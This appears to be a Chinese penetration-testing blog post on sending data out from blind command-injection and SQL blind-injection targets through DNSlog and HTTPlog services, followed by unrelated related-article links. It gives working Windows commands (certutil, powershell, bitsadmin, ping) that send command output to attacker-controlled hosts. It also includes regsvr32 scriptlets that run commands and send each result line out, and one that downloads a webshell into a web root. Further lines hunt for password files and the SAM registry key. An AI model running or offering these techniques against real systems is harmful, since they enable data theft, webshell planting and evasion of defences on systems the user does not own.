命令执行/SQL盲注无回显外带方式

简介: 命令执行/SQL盲注无回显外带方式

0x01 前言

在渗透测试中我们时常会遇到一些无回显的场景,如常见的:SQL盲注、命令执行、XSS、SSRF、Blind XXE等漏洞,这时就需要利用第三方dnslog/httplog平台才能将数据和命令执行结果外带出来。


这篇文章我们主要以命令执行漏洞为例来介绍几个常用的数据外带平台和方式,不会再去细讲每个漏洞的外带利用方式,因为写的师傅太多了,想了解的可以自己去百度搜索相关资料学习下吧。


0x02 Dnslog

常用dnslog平台:dnslog.cndig.pmceye.io,各有利弊吧。当然,如果大家不想用这些免费的也可以通过以下几个开源项目去自行搭建。

    https://github.com/SPuerBRead/Bridge
    https://github.com/lanyi1998/DNSlog-GO
    https://github.com/yumusb/DNSLog-Platform-Golang


    dnslog、dig两个平台都仅支持DNS,而且默认只能展示几条数据,dig可以通过F12展示多条数据。


    而ceye不仅支持dnslog,还支持httplog,可以展示多页数据,所以推荐使用CEYE。


    Base64编码写文件:

      whoami>temp & certutil -encode temp temp1 & findstr /L /V CERTIFICATE temp1>temp2


      HTTP外带执行结果:

        for /F %i in ('type temp2') do ping -n -1 %i.***.ceye.io


        0x03 Httplog

        httplog这种方式可同时探测DNS和HTTP是否都能出网?CEYE、Burp Collaborator都行,如HTTP能出则大概率可以直接上线,可以用以下几条命令进行测试。

          certutil -urlcache -split -f http://***.burpcollaborator.net
          powershell (Invoke-WebRequest -Uri "http://***.burpcollaborator.net")
          bitsadmin /rawreturn /transfer n "http://***.burpcollaborator.net" "D\1.txt"


          如果想把命令执行结果通过httplog外带出来,我们可以直接执行以下Python命令开启一个临时Web服务。

            python -m SimpleHTTPServer 8888
            python3 -m http.server 8888


            接着我们再执行以下命令即可,外带出来的执行结果会显示在开启的Web日志中。

            Base64编码写文件:

              whoami>temp & certutil -encode temp temp1 & findstr /L /V CERTIFICATE temp1>temp2


              HTTP外带执行结果:

                for /F %i in ('type temp2') do certutil -urlcache -split -f http://192.168.1.120:8888/%i


                我们也可以直接用Burp Collaborator或CEYE外带,不过有时Burp Collaborator中的HTTP、DNS可能会不通。


                得在使用Burp Collaborator前先去检查一下,确定没问题后再去执行命令进行外带。

                  Burp -> Burp Collaborator client
                  Project options -> Misc -> Run health check


                  如遇安全防护时也可以去尝试下@倾旋师傅“Regsvr32 ole对象”文中提到的方法,通过修改脚本文件内容来外带不同命令的执行结果,如:查看当前权限、进程/服务、文件和目录及下载文件等。

                    wmic process call create "regsvr32 /s /n /u /i:http://192.168.1.120:8888/whoami.txt scrobj.dll"


                    执行命令脚本:

                      <?XML version="1.0"?>
                      <scriptlet>
                        <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" >
                          <script language="vbscript">
                      <![CDATA[
                      Sub getName(name)
                          Dim http
                        Set http = CreateObject("Msxml2.ServerXMLHTTP")
                        http.open "GET","http://192.168.1.120:8888/"+name, False
                        http.send
                      End Sub
                      Sub Cmd(command)
                      Set oShell = CreateObject("WScript.Shell")
                      Set Re = oShell.Exec(command)
                      Do While Not Re.StdOut.AtEndOfStream
                        getName Re.StdOut.ReadLine()
                      Loop
                      End Sub
                      Cmd "whoami"
                      ]]>
                      </script>
                        </registration>
                      </scriptlet>


                        wmic process call create "regsvr32 /s /n /u /i:http://192.168.1.120:8888/down.txt scrobj.dll"


                        文件下载脚本:

                          <?XML version="1.0"?>
                          <scriptlet>
                            <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" >
                              <script language="vbscript">
                              <![CDATA[
                          Set Shell = CreateObject("Wscript.Shell")
                          Set Post = CreateObject("Msxml2.XMLHTTP")
                          wfolder = "C:\inetpub\wwwroot\upload\shell.asp"
                          Post.Open "GET","http://192.168.1.120:8888/shell.txt",0
                          Post.Send()
                          Set aGet = CreateObject("ADODB.Stream")
                          aGet.Mode = 3
                          aGet.Type = 1
                          aGet.Open()
                          aGet.Write(Post.responseBody)
                          aGet.SaveToFile wfolder,2
                              ]]>
                          </script>
                            </registration>
                          </scriptlet>


                            wmic process call create "regsvr32 /s /n /u /i:http://192.168.1.120:8888/pslist.txt scrobj.dll"
                            echo base64 | base64 -d


                            查看进程脚本:

                              <?XML version="1.0"?>
                              <scriptlet>
                                <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" >
                                  <script language="vbscript">
                              <![CDATA[
                              Sub getName(name)
                                  Dim http
                                Set http = CreateObject("Msxml2.ServerXMLHTTP")
                                http.open "GET","http://192.168.1.120:8888/"+name, False
                                http.send
                              End Sub
                              Sub Cmd(command)
                              Set oShell = CreateObject("WScript.Shell")
                              Set Re = oShell.Exec(command)
                              Do While Not Re.StdOut.AtEndOfStream
                                getName Re.StdOut.ReadLine()
                              Loop
                              End Sub
                              Cmd "powershell -w hidden -c $s=Get-Process;$process ='';foreach ($n in $s){$process += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($process);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;"
                              ]]>
                              </script>
                                </registration>
                              </scriptlet>


                              其他功能命令:

                                获取服务列表:
                                powershell -w hidden -c $s=Get-Service;$service ='';foreach ($n in $s){$service += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($service);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;
                                获取文件和目录:
                                powershell -w hidden -c $s=Get-ChildItem C:\inetpub\wwwroot;$process ='';foreach ($n in $s){$process += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($process);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;
                                Get-ChildItem D:\ -Include pass.* -recurse
                                Get-Acl -Path HKLM:\SAM\SAM | Format-List
                                Get-Acl -Path C:\inetpub\wwwroot | Format-List
                                PowerShell模块浏览器:https://docs.microsoft.com/zh-cn/powershell/module/


                                文末总结:

                                遇到这种无回显命令执行或SQL盲注漏洞,我们可以先去看一下目标主机是否能够出网,如果不能咋们就用dnslog外带,如果可以则建议还是用httplog外带,因为httplog要比dnslog能带出的信息更多,如:查看指定文件绝对路径、指定路径下的文件/目录等等。

                                相关文章
                                |
                                2月前
                                |
                                SQL XML 关系型数据库
                                【less-5】基于SQLI的SQL盲注常用函数
                                【less-5】基于SQLI的SQL盲注常用函数
                                35 2
                                |
                                3月前
                                |
                                SQL 关系型数据库 MySQL
                                SQL命令
                                【5月更文挑战第21天】SQL命令
                                37 3
                                |
                                19天前
                                |
                                存储 关系型数据库 MySQL
                                (十五)MySQL命令大全:以后再也不用担心忘记SQL该怎么写啦~
                                相信大家在编写SQL时一定有一个困扰,就是明明记得数据库中有个命令/函数,可以实现自己需要的功能,但偏偏不记得哪个命令该怎么写了,这时只能靠盲目的去百度,以此来寻找自己需要的命令。
                                93 28
                                |
                                1月前
                                |
                                SQL 数据库 索引
                                SQL 命令
                                【7月更文挑战第10天】SQL 命令。
                                21 3
                                |
                                3月前
                                |
                                SQL 关系型数据库 MySQL
                                sql数据库命令
                                SQL(Structured Query Language,结构化查询语言)是用于管理关系数据库的标准编程语言。以下是一些常用的 SQL 数据库命令: 1. **创建数据库**: ``
                                38 7
                                |
                                2月前
                                |
                                SQL Web App开发 安全
                                【Less-9】基于SQLI的SQL时间盲注
                                【Less-9】基于SQLI的SQL时间盲注
                                23 0
                                |
                                2月前
                                |
                                SQL 关系型数据库 数据库
                                实时计算 Flink版操作报错合集之在本地执行代码没有问题,但是在线执行sql命令就会报错,该怎么办
                                在使用实时计算Flink版过程中,可能会遇到各种错误,了解这些错误的原因及解决方法对于高效排错至关重要。针对具体问题,查看Flink的日志是关键,它们通常会提供更详细的错误信息和堆栈跟踪,有助于定位问题。此外,Flink社区文档和官方论坛也是寻求帮助的好去处。以下是一些常见的操作报错及其可能的原因与解决策略。
                                110 0
                                |
                                3月前
                                |
                                机器学习/深度学习
                                T-sql 各种查询命令
                                T-sql 各种查询命令
                                |
                                3月前
                                |
                                SQL XML 数据库
                                sql导入数据库命令
                                在SQL Server中,数据库导入可通过多种方式实现:1) 使用SSMS的“导入数据”向导从各种源(如Excel、CSV)导入;2) BULK INSERT语句适用于导入文本文件;3) bcp命令行工具进行批量数据交换;4) OPENROWSET函数直接从外部数据源(如Excel)插入数据。在操作前,请记得备份数据库,并可能需对数据进行预处理以符合SQL Server要求。注意不同方法可能依版本和配置而异。
                                |
                                3月前
                                |
                                SQL Oracle 关系型数据库
                                Oracle SQL*Plus的TTITLE和BTITLE命令:为你的数据报告加上精美的“画框”
                                【4月更文挑战第19天】`SQL*Plus`的`TTITLE`和`BTITLE`命令用于为数据报告添加吸引人的标题和边框。